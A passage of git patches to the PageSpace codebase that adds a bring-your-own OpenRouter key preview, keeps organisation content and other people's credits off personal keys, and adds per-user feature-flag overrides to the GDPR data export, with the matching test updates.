From 24cf2e70600af3aa57fbf7ae08282b589d18634d Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 20:54:46 -0600
Subject: [PATCH 11/35] =?UTF-8?q?fix(byok):=20CI=20=E2=80=94=20GDPR=20expo?=
=?UTF-8?q?rt=20decision=20for=20the=20flag=20tables,=20key=5Fsource=20in?=
=?UTF-8?q?=20the=20credits=20fake,=20chat-test=20auth=20mocks?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- feature_flag_user_overrides is exported under settings (Art 15: what an admin
turned on for the subject, never who did it); feature_flags (the platform's
rollout default) is excluded as platform-owned.
- credits-flow fake: aiUsageLogs gains keySource (rows default 'managed' as
the column does), plus a case proving a user_key orphan is never swept.
- Two /api/ai/chat suites mock @/lib/auth without authSessionIdOf, which the
page turn now reads for the model call's audit binding.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../__tests__/mcp-scope-tool-filtering.test.ts | 2 ++
.../__tests__/sandbox-github-suppression.test.ts | 2 ++
.../__tests__/credits-flow.integration.test.ts | 15 +++++++++------
.../agent-identity-export.integration.test.ts | 2 +-
.../src/compliance/export/export-format.test.ts | 2 +-
.../export/gdpr-export-coverage.test.ts | 2 +-
.../src/compliance/export/gdpr-export-coverage.ts | 4 ++++
packages/lib/src/compliance/export/gdpr-export.ts | 11 ++++++++++-
8 files changed, 30 insertions(+), 10 deletions(-)
diff --git a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts
index b183c9adec..f7a0a4e937 100644
--- a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts
+++ b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts
@@ -13,9 +13,11 @@ import type { SessionAuthResult, MCPAuthResult } from '@/lib/auth';
// without needing to mock the entire downstream streaming pipeline.
// ============================================================================
+vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) }));
vi.mock('@/lib/auth', () => ({
authenticateRequestWithOptions: vi.fn(),
isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result),
+ authSessionIdOf: vi.fn(() => null),
isMCPAuthResult: vi.fn((result: { tokenType?: string }) => result?.tokenType === 'mcp'),
checkMCPPageScope: vi.fn().mockResolvedValue(null),
getAllowedDriveIds: vi.fn((auth: { allowedDriveIds?: string[] }) => auth.allowedDriveIds ?? []),
diff --git a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts
index b9584c5815..3eabfcd3fc 100644
--- a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts
+++ b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts
@@ -18,9 +18,11 @@ import type { SessionAuthResult } from '@/lib/auth';
// unit test cannot observe.
// ============================================================================
+vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) }));
vi.mock('@/lib/auth', () => ({
authenticateRequestWithOptions: vi.fn(),
isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result),
+ authSessionIdOf: vi.fn(() => null),
isMCPAuthResult: vi.fn(() => false),
checkMCPPageScope: vi.fn().mockResolvedValue(null),
getAllowedDriveIds: vi.fn(() => []),
diff --git a/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts b/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts
index e46064068b..c61868afca 100644
--- a/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts
+++ b/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts
@@ -68,7 +68,7 @@ const H = vi.hoisted(() => {
const subscriptions = cols('subscriptions', ['id', 'userId', 'status', 'gifted', 'stripePriceId']);
const aiUsageLogs = cols('aiUsageLogs', [
'id', 'userId', 'cost', 'timestamp', 'success', 'provider', 'source', 'walletId', 'automationRef',
- 'metadata', 'reconcileStatus', 'reconcileAttempts', 'reconciledAt', 'unattributedAt',
+ 'metadata', 'reconcileStatus', 'reconcileAttempts', 'reconciledAt', 'unattributedAt', 'keySource',
]);
// ── operators ───────────────────────────────────────────────────────────────
@@ -1205,10 +1205,13 @@ describe('credits flow — crash recovery (backfill reconcile)', () => {
});
// (b) orphan usage row: consume never ran at all (no ledger entry).
- store.aiUsageLogs.push({ id: 'log_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true }); // 150¢
+ store.aiUsageLogs.push({ keySource: 'managed', id: 'log_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true }); // 150¢
// (c) errored-but-billable row: success:false but tokens were spent (cost > 0).
- store.aiUsageLogs.push({ id: 'log_failed', userId: 'u1', walletId: rootWalletId('u1'), cost: 0.5, timestamp: PAST(), success: false }); // 75¢
+ store.aiUsageLogs.push({ keySource: 'managed', id: 'log_failed', userId: 'u1', walletId: rootWalletId('u1'), cost: 0.5, timestamp: PAST(), success: false }); // 75¢
+
+ // (d) BYOK (ADR 0009): a call on the person's own OpenRouter key was never owed: never swept.
+ store.aiUsageLogs.push({ keySource: 'user_key', id: 'log_own_key', userId: 'u1', walletId: rootWalletId('u1'), cost: 2, timestamp: PAST(), success: true });
const result = await backfillCredits();
@@ -1241,7 +1244,7 @@ describe('credits flow — crash recovery (backfill reconcile)', () => {
// 205 orphans > BATCH(200): the cron must loop a second pass to clear the tail.
const N = 205;
for (let i = 0; i < N; i++) {
- store.aiUsageLogs.push({ id: `orphan_${i}`, userId: 'u1', walletId: rootWalletId('u1'), cost: 0.01, timestamp: PAST(), success: true });
+ store.aiUsageLogs.push({ keySource: 'managed', id: `orphan_${i}`, userId: 'u1', walletId: rootWalletId('u1'), cost: 0.01, timestamp: PAST(), success: true });
}
const result = await backfillCredits();
@@ -1265,7 +1268,7 @@ describe('credits flow — crash recovery (backfill reconcile)', () => {
monthlyPeriodStart: new Date(PERIOD_START * 1000), monthlyPeriodEnd: new Date(PERIOD_END * 1000),
updatedAt: new Date(),
});
- store.aiUsageLogs.push({
+ store.aiUsageLogs.push({ keySource: 'managed',
id: 'log_terminal_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true, source: 'terminal',
});
@@ -1543,7 +1546,7 @@ describe('credits flow — async cost reconcile (/generation drift correction)',
}
function seedPendingUsage(id: string, userId: string, costDollars: number, generationIds: string[] | null, attempts = 0) {
- store.aiUsageLogs.push({
+ store.aiUsageLogs.push({ keySource: 'managed',
id,
userId,
cost: costDollars,
diff --git a/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts b/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts
index 6752aa1d8b..0b8453900e 100644
--- a/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts
+++ b/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts
@@ -83,7 +83,7 @@ describe('collectUserAgentIdentity (real Postgres)', () => {
profile, drives: [], pages: [], sheets: [], messages: [], files: [], activity: [], systemLogs: [],
apiMetrics: [], errorLogs: [], aiUsage: [], tasks: [], sessions: [], notifications: [],
displayPreferences: [],
- settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] },
+ settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] },
personalization: null, personalizationCandidates: [], pulseSummaries: [], withheld: [], agentWorkspaces: [],
agentAccounts: { accounts: [], approvalsGiven: [], bindingsMade: [], delegationsGiven: [] }, streamState: [], contentTags: [],
localEnvironments: [], localEnvironmentActivity: [], localEnvironmentApprovals: [], agentIdentity, organizations: [],
diff --git a/packages/lib/src/compliance/export/export-format.test.ts b/packages/lib/src/compliance/export/export-format.test.ts
index a49d82ac26..337e7a404a 100644
--- a/packages/lib/src/compliance/export/export-format.test.ts
+++ b/packages/lib/src/compliance/export/export-format.test.ts
@@ -60,7 +60,7 @@ function makeData(overrides: Partial = {}): AllUserData {
sessions: [],
notifications: [],
displayPreferences: [],
- settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] },
+ settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] },
personalization: null,
personalizationCandidates: [],
pulseSummaries: [],
diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts
index da880d1363..a8024493a0 100644
--- a/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts
+++ b/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts
@@ -83,7 +83,7 @@ const EMPTY: AllUserData = {
sessions: [],
notifications: [],
displayPreferences: [],
- settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] },
+ settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] },
personalization: null,
personalizationCandidates: [],
pulseSummaries: [],
diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.ts
index d663b80329..5f22508dcc 100644
--- a/packages/lib/src/compliance/export/gdpr-export-coverage.ts
+++ b/packages/lib/src/compliance/export/gdpr-export-coverage.ts
@@ -99,6 +99,8 @@ export const EXPORTED_TABLES: Readonly> = {
email_notification_preferences: 'settings',
// The subject's own per-drive Imago access choices (IMG-4.6a).
imago_drive_access: 'settings',
+ // A preview feature an admin turned on or off for the subject in particular (ADR 0009's byok_model_key).
+ feature_flag_user_overrides: 'settings',
// Added with this guard — the omission that motivated it.
agent_workspaces: 'agentWorkspaces',
// L2·G2 agent accounts: the subject's own accounts (metadata only) and the decisions they gave.
@@ -354,6 +356,8 @@ export const EXCLUDED_TABLES: Readonly> = {
...withReason(
ORGANISATION_OWNED,
+ // A feature flag's default for everyone: the platform's rollout switch, about no one in particular.
+ 'feature_flags',
'drive_agent_members',
'drive_backup_files',
'drive_backup_members',
diff --git a/packages/lib/src/compliance/export/gdpr-export.ts b/packages/lib/src/compliance/export/gdpr-export.ts
index d919a67ac0..34f7624e3c 100644
--- a/packages/lib/src/compliance/export/gdpr-export.ts
+++ b/packages/lib/src/compliance/export/gdpr-export.ts
@@ -22,6 +22,7 @@ import { taskLists, taskItems } from '@pagespace/db/schema/tasks';
import { sessions } from '@pagespace/db/schema/sessions';
import { notifications } from '@pagespace/db/schema/notifications';
import { displayPreferences } from '@pagespace/db/schema/display-preferences';
+import { featureFlagUserOverrides } from '@pagespace/db/schema/feature-flags';
import { userPersonalization, personalizationCandidates } from '@pagespace/db/schema/personalization';
import { pulseSummaries } from '@pagespace/db/schema/dashboard';
import { userHotkeyPreferences } from '@pagespace/db/schema/hotkeys';
@@ -296,6 +297,8 @@ export interface UserSettingsExport {
emailNotifications: { notificationType: string; emailEnabled: boolean; updatedAt: Date }[];
/** The subject's per-drive Imago access choices (the toggle), one row per drive they set it for. */
imagoDriveAccess: { driveId: string; enabled: boolean; updatedAt: Date }[];
+ /** Preview features an admin turned on or off for the subject in particular (feature_flag_user_overrides). */
+ featureFlags: { flagKey: string; enabled: boolean; updatedAt: Date }[];
}
export interface UserPersonalizationExport {
@@ -1347,7 +1350,7 @@ export async function collectUserDisplayPreferences(database: DB, userId: string
/** Every settings row the subject owns, in one Art 15 category. */
export async function collectUserSettings(database: DB, userId: string): Promise {
- const [hotkeys, automation, toast, email, imagoAccess] = await Promise.all([
+ const [hotkeys, automation, toast, email, imagoAccess, flags] = await Promise.all([
database
.select({ hotkeyId: userHotkeyPreferences.hotkeyId, binding: userHotkeyPreferences.binding, updatedAt: userHotkeyPreferences.updatedAt })
.from(userHotkeyPreferences)
@@ -1368,6 +1371,11 @@ export async function collectUserSettings(database: DB, userId: string): Promise
.select({ driveId: imagoDriveAccess.driveId, enabled: imagoDriveAccess.enabled, updatedAt: imagoDriveAccess.updatedAt })
.from(imagoDriveAccess)
.where(eq(imagoDriveAccess.userId, userId)),
+ // Who set it is an admin's id, another person's data: only what is on for the subject, and when.
+ database
+ .select({ flagKey: featureFlagUserOverrides.flagKey, enabled: featureFlagUserOverrides.enabled, updatedAt: featureFlagUserOverrides.updatedAt })
+ .from(featureFlagUserOverrides)
+ .where(eq(featureFlagUserOverrides.userId, userId)),
]);
return {
hotkeys,
@@ -1377,6 +1385,7 @@ export async function collectUserSettings(database: DB, userId: string): Promise
toastNotifications: toast[0] ?? null,
emailNotifications: email,
imagoDriveAccess: imagoAccess,
+ featureFlags: flags,
};
}
From 7979acd5b73d5a3b2283ce3fa43d2b260abb4778 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 22:20:30 -0600
Subject: [PATCH 12/35] fix(byok): keep org content and other people's money
off a person's own key
Review fixes for the BYOK key decision (ADR 0009), on every model surface.
- The tool boundary (POL-8's chokepoint in actor-permissions) refuses every
org drive on a run on the person's own key: page reads, listings, searches
and injected command pages. The key source rides on toolModelContext.
- The key decision counts the funder: a call in someone else's drive stays on
PageSpace's key (I9). Images in a manual Run pressed by someone else, too.
- A conversation that ever ran on PageSpace's key stays there (I10): its
history may hold org content read by a managed turn. Signal: a managed
ai_usage_logs row for the conversation. Wired into global/page chat, btw,
consult, ask_agent, mentions, images and compaction.
- Context drives (page chat, ask_agent), the assistant's drive summary,
agent list and drive in view, org-derived memory, and the memory passes
all count or drop org content on the person's key.
- The pro-tier gate lifts on the person's key in ask_agent and workflows.
- Pulse decides whose key runs before it gates, and takes no hold on it.
- outcome_unknown answers 424 so the AI SDK never re-sends a call that may
have been billed. A failed flag read with a known key refuses instead of
billing credits. A gate-decided own-key call that resolves off OpenRouter
is refused. The global turn pins the pair its gate judged. /help skips the
decision.
- Settings shows a leftover key for removal after the flag is switched off;
the admin flag page survives a rejected request.
- ADR 0009 and the changelog updated.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3
---
CHANGELOG.md | 4 +-
.../src/app/(admin)/feature-flags/page.tsx | 3 +-
apps/web/src/app/api/ai/btw/route.ts | 8 +-
.../messages/__tests__/credit-gate.test.ts | 2 +-
.../app/api/ai/page-agents/consult/route.ts | 5 +-
.../generate/__tests__/agent-marker.test.ts | 3 +
.../generate/__tests__/credit-gate.test.ts | 14 ++
.../__tests__/task-trash-filter.test.ts | 3 +
apps/web/src/app/api/pulse/generate/route.ts | 52 +++++---
.../user/model-key/__tests__/route.test.ts | 39 +++++-
apps/web/src/app/api/user/model-key/route.ts | 20 ++-
apps/web/src/app/settings/ai/ModelKeyCard.tsx | 25 ++--
.../lib/ai/chat-pipeline/assistant-surface.ts | 20 ++-
.../lib/ai/chat-pipeline/global-chat-turn.ts | 22 +++-
.../lib/ai/chat-pipeline/page-chat-turn.ts | 17 ++-
.../core/__tests__/model-key-source.test.ts | 123 +++++++++++++++++-
.../__tests__/plane-inference-fetch.test.ts | 7 +
.../core/__tests__/provider-factory.test.ts | 30 +++++
apps/web/src/lib/ai/core/agent-awareness.ts | 8 +-
.../ai/core/compaction/compaction-service.ts | 7 +
apps/web/src/lib/ai/core/location-prompt.ts | 8 +-
apps/web/src/lib/ai/core/model-entitlement.ts | 3 +
apps/web/src/lib/ai/core/model-key-source.ts | 102 ++++++++++++---
apps/web/src/lib/ai/core/page-tree-context.ts | 8 +-
.../src/lib/ai/core/personalization-utils.ts | 11 +-
.../src/lib/ai/core/plane-inference-fetch.ts | 4 +-
apps/web/src/lib/ai/core/provider-factory.ts | 33 ++++-
.../web/src/lib/ai/core/tool-model-context.ts | 10 +-
apps/web/src/lib/ai/core/types.ts | 3 +
.../__tests__/actor-permissions-byok.test.ts | 48 +++++++
.../agent-communication-tools.test.ts | 8 +-
.../web/src/lib/ai/tools/actor-permissions.ts | 14 +-
.../lib/ai/tools/agent-communication-tools.ts | 24 +++-
.../lib/ai/tools/image-generation-tools.ts | 6 +-
.../__tests__/agent-mention-responder.test.ts | 2 +-
.../lib/channels/agent-mention-responder.ts | 19 +--
.../src/lib/channels/mention-credit-gate.ts | 11 +-
.../__tests__/compaction-service.test.ts | 2 +
.../__tests__/integration-service.test.ts | 2 +
apps/web/src/lib/memory/candidate-service.ts | 10 ++
apps/web/src/lib/memory/compaction-service.ts | 4 +-
apps/web/src/lib/memory/discovery-service.ts | 28 +++-
.../web/src/lib/memory/integration-service.ts | 5 +-
.../calendar-trigger-executor.test.ts | 2 +
.../__tests__/workflow-executor.test.ts | 2 +-
.../src/lib/workflows/workflow-executor.ts | 1 +
...model-keys-through-the-credential-plane.md | 33 +++--
47 files changed, 673 insertions(+), 142 deletions(-)
create mode 100644 apps/web/src/lib/ai/tools/__tests__/actor-permissions-byok.test.ts
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 02b859aae9..4b685800b8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -8,7 +8,9 @@ All notable user-facing changes to PageSpace are documented here. Format follows
- **Preview: bring your own OpenRouter key.** An admin can now turn this on for specific people in Admin → Feature Flags. Those people get a "Use your own OpenRouter key" card in Settings → AI.
- **Your own model calls run on your key and cost no PageSpace credits.** That covers chat, the global assistant, side questions, agent-to-agent calls, images and your automations. Pro-tier models are available on your key whatever your plan.
- **PageSpace never stores your key.** It goes once to an isolated credential service, is added to each request there, and is removed from anything that comes back. It can never be read back by PageSpace or by an agent, and agents cannot use it as a tool.
- - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account.
+ - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account. On your key, the assistant cannot read organization drives, and memory learned from them is left out.
+ - **Your key only pays for calls you fund yourself.** Calls in a drive someone else owns, and conversations that have already used PageSpace's key, stay on PageSpace's key.
+ - If an admin switches the preview off for you, PageSpace stops using your key and Settings still lets you remove it.
- **If your key can't be used, the call stops with a message.** It never quietly switches to PageSpace's key. Usage on your key is capped at 1,200 calls an hour. For safety, create a separate OpenRouter key with a credit limit.
- Removing the key in Settings takes it out of PageSpace. It keeps working at OpenRouter until you revoke it there.
- **Agent Accounts screens now say what they hold.** The Accounts section of an agent's settings, and Settings → Agent Accounts, described themselves as being for API keys only. They also hold Google accounts and SSH keys, and now say so.
diff --git a/apps/admin/src/app/(admin)/feature-flags/page.tsx b/apps/admin/src/app/(admin)/feature-flags/page.tsx
index 11339a28c9..6339992b5e 100644
--- a/apps/admin/src/app/(admin)/feature-flags/page.tsx
+++ b/apps/admin/src/app/(admin)/feature-flags/page.tsx
@@ -67,7 +67,8 @@ function FlagPeople({ flag, onChanged }: { flag: FlagState; onChanged: () => voi
async function act(run: () => Promise) {
setBusy(true);
setError(null);
- const failed = await run();
+ // A request that rejects (network loss) is a failure to show, not an exception that leaves the buttons disabled.
+ const failed = await run().catch((err: unknown) => (err instanceof Error ? err.message : "Request failed"));
setBusy(false);
if (failed) return setError(failed);
people.refetch();
diff --git a/apps/web/src/app/api/ai/btw/route.ts b/apps/web/src/app/api/ai/btw/route.ts
index 2249e50ba5..ed0104c6e5 100644
--- a/apps/web/src/app/api/ai/btw/route.ts
+++ b/apps/web/src/app/api/ai/btw/route.ts
@@ -82,9 +82,11 @@ export async function POST(request: Request) {
// Prepaid credit gate BEFORE the provider is built: out_of_credits -> 402, the
// in-flight cap -> 429. Metering-exempt providers bill on a flat external plan,
// so they skip the gate (no hold) exactly as the chat pipeline does.
- // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing.
- // On the person's own OpenRouter key there is no hold and no charge.
- const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId });
+ // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing — and on
+ // the conversation whose snapshot the side question carries: one that ever ran on PageSpace's key may hold an
+ // org's content in its tool results, so it stays there (I10). On the person's own OpenRouter key there is no hold
+ // and no charge.
+ const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId, conversationId });
if (keyDecision.source === 'refused') return createByokUnavailableResponse();
const ownKey = keyDecision.source === 'user_key';
let entitlementTier: SubscriptionTier | undefined;
diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
index 9e4735cdb6..955c193024 100644
--- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
+++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
@@ -704,7 +704,7 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)',
expect(response.status).toBe(200);
expect(canConsumeAI).not.toHaveBeenCalled();
- expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null });
+ expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null, conversationId: 'conv-1' });
expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toBe(ownKey);
expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1);
const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0];
diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts
index 2e9237dd45..2ee7129497 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/route.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts
@@ -362,7 +362,7 @@ export async function POST(request: Request) {
// BYOK (ADR 0009): whose key this consultation runs on, decided ONCE (same provider and drives the
// gate and the factory use) for the gate, the provider and billing. On the person's own OpenRouter
// key there is no hold and no charge.
- const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId] });
+ const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId], conversationId: activeConversationId });
if (keyDecision.source === 'refused') return createByokUnavailableResponse();
const ownKey = keyDecision.source === 'user_key';
@@ -624,7 +624,8 @@ export async function POST(request: Request) {
accessActor: actorFromAuth(auth),
timezone: userTimezone,
// POL-8: the tools are judged by the model this run resolved (an agent with no model runs the default).
- ...toolModelContext({ provider: resolvedProvider, modelName: resolvedModelName }),
+ // BYOK: and whose key it runs on, so a run on the person's own key reads no org drive (ADR 0009 I6).
+ ...toolModelContext({ provider: resolvedProvider, modelName: resolvedModelName, keySource: ownKey ? 'user_key' : 'managed' }),
conversationId: `agent-consult-${agentId}-${Date.now()}`,
creditSpend: { spend, walletId },
locationContext: {
diff --git a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts
index 9af08ecd99..19a2386900 100644
--- a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts
+++ b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts
@@ -40,7 +40,10 @@ vi.mock('@/lib/ai/core/timestamp-utils', () => ({
vi.mock('@/lib/ai/core/ai-providers-config', () => ({
BACKGROUND_LIGHT_PROVIDER: 'anthropic',
BACKGROUND_LIGHT_MODEL: 'anthropic/claude-test',
+ resolveProviderModel: (provider: string, model: string) => ({ provider, model }),
}));
+// BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts.
+vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) }));
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }),
diff --git a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts
index d6883c97d4..3fd4368a4a 100644
--- a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts
+++ b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts
@@ -62,7 +62,10 @@ vi.mock('@/lib/ai/core/provider-factory', () => ({
vi.mock('@/lib/ai/core/ai-providers-config', () => ({
BACKGROUND_LIGHT_PROVIDER: 'openai',
BACKGROUND_LIGHT_MODEL: 'openai/gpt-5.4-mini',
+ resolveProviderModel: (provider: string, model: string) => ({ provider, model }),
}));
+// BYOK (ADR 0009): PageSpace's key unless a test says the person may run on their own.
+vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }) }));
vi.mock('@/lib/ai/core/timestamp-utils', () => ({
buildTimestampSystemPrompt: vi.fn().mockReturnValue(''),
getUserTimeOfDay: vi.fn().mockReturnValue('morning'),
@@ -82,6 +85,7 @@ import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing';
import { createAIProvider } from '@/lib/ai/core/provider-factory';
import { generateText } from 'ai';
+import { resolveModelKeySource } from '@/lib/ai/core/model-key-source';
const mockAuth = () => ({
userId: 'user-1',
@@ -144,4 +148,14 @@ describe('POST /api/pulse/generate — prepaid credit gate', () => {
// overdraw.
expect(canConsumeAI).toHaveBeenCalledWith('user-1', 'pro', { spend: { kind: 'personal' }, maxInFlight: MAX_CHAT_INFLIGHT });
});
+
+ it('BYOK (ADR 0009) given someone who may run on their own key, should not gate before the pulse knows whose content it reads (the factory decides the key; only PageSpace\'s key is gated)', async () => {
+ vi.mocked(resolveModelKeySource).mockResolvedValueOnce({ source: 'user_key' });
+ vi.mocked(canConsumeAI).mockResolvedValue({ allowed: false, reason: 'out_of_credits' });
+
+ const response = await POST(makeRequest());
+
+ // Not refused out_of_credits up front: an empty PageSpace balance does not stop a pulse on the person's own key.
+ expect([response.status === 402, vi.mocked(canConsumeAI).mock.calls.length]).toEqual([false, 0]);
+ });
});
diff --git a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts
index 1cddfd3abf..1767fc7230 100644
--- a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts
+++ b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts
@@ -51,7 +51,10 @@ vi.mock('@/lib/ai/core/timestamp-utils', () => ({
vi.mock('@/lib/ai/core/ai-providers-config', () => ({
BACKGROUND_LIGHT_PROVIDER: 'anthropic',
BACKGROUND_LIGHT_MODEL: 'anthropic/claude-test',
+ resolveProviderModel: (provider: string, model: string) => ({ provider, model }),
}));
+// BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts.
+vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) }));
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }),
diff --git a/apps/web/src/app/api/pulse/generate/route.ts b/apps/web/src/app/api/pulse/generate/route.ts
index 4045f55228..32331a79c5 100644
--- a/apps/web/src/app/api/pulse/generate/route.ts
+++ b/apps/web/src/app/api/pulse/generate/route.ts
@@ -3,7 +3,8 @@ import { generateText } from 'ai';
import { authenticateRequestWithOptions, isAuthError } from '@/lib/auth';
import { createAIProvider, isProviderError } from '@/lib/ai/core/provider-factory';
import { buildTimestampSystemPrompt, getUserTimeOfDay, getStartOfTodayInTimezone, isValidTimezone, normalizeTimezone, formatDateInTimezone } from '@/lib/ai/core/timestamp-utils';
-import { BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL } from '@/lib/ai/core/ai-providers-config';
+import { BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL, resolveProviderModel } from '@/lib/ai/core/ai-providers-config';
+import { resolveModelKeySource } from '@/lib/ai/core/model-key-source';
import { db } from '@pagespace/db/db'
import { eq, and, or, lt, gte, ne, desc, inArray, isNotNull, isNull, sql } from '@pagespace/db/operators'
import { users } from '@pagespace/db/schema/auth'
@@ -96,25 +97,35 @@ export async function POST(req: Request) {
return NextResponse.json({ skipped: true, reason: 'pulse_disabled' });
}
- // Prepaid credit gate: block out-of-credits users before any model invocation.
+ // Prepaid credit gate: block out-of-credits users before any context gathering or model invocation.
// Safe in billing-disabled deployments (returns unlimited) and lazy-inits balances.
// This is the on-demand (user-triggered) Pulse path; the cron path is intentionally
// NOT gated so a failed bill can't 500 the batch.
- // Model isn't resolved until the generation step below, so we let the hold use the
- // default flat estimate (estCostCents omitted) and just apply the chat concurrency cap.
- const creditGate = await canConsumeAI(userId, toPersonalSubscriptionTier(user.subscriptionTier), {
- // Pulse summarizes the person's own workspace and is not a drive session, so it
- // spends their personal credits (SPEND-8).
- spend: PERSONAL_SPEND,
- maxInFlight: MAX_CHAT_INFLIGHT,
- });
- if (!creditGate.allowed) {
- loggers.api.warn('Pulse generate: AI credit gate denied', { userId, reason: creditGate.reason });
- return creditGateErrorResponse(creditGate.reason, creditGate.refusal);
+ // The model isn't resolved yet, so the hold uses the default flat estimate and the chat concurrency cap.
+ const gatePulse = async (): Promise => {
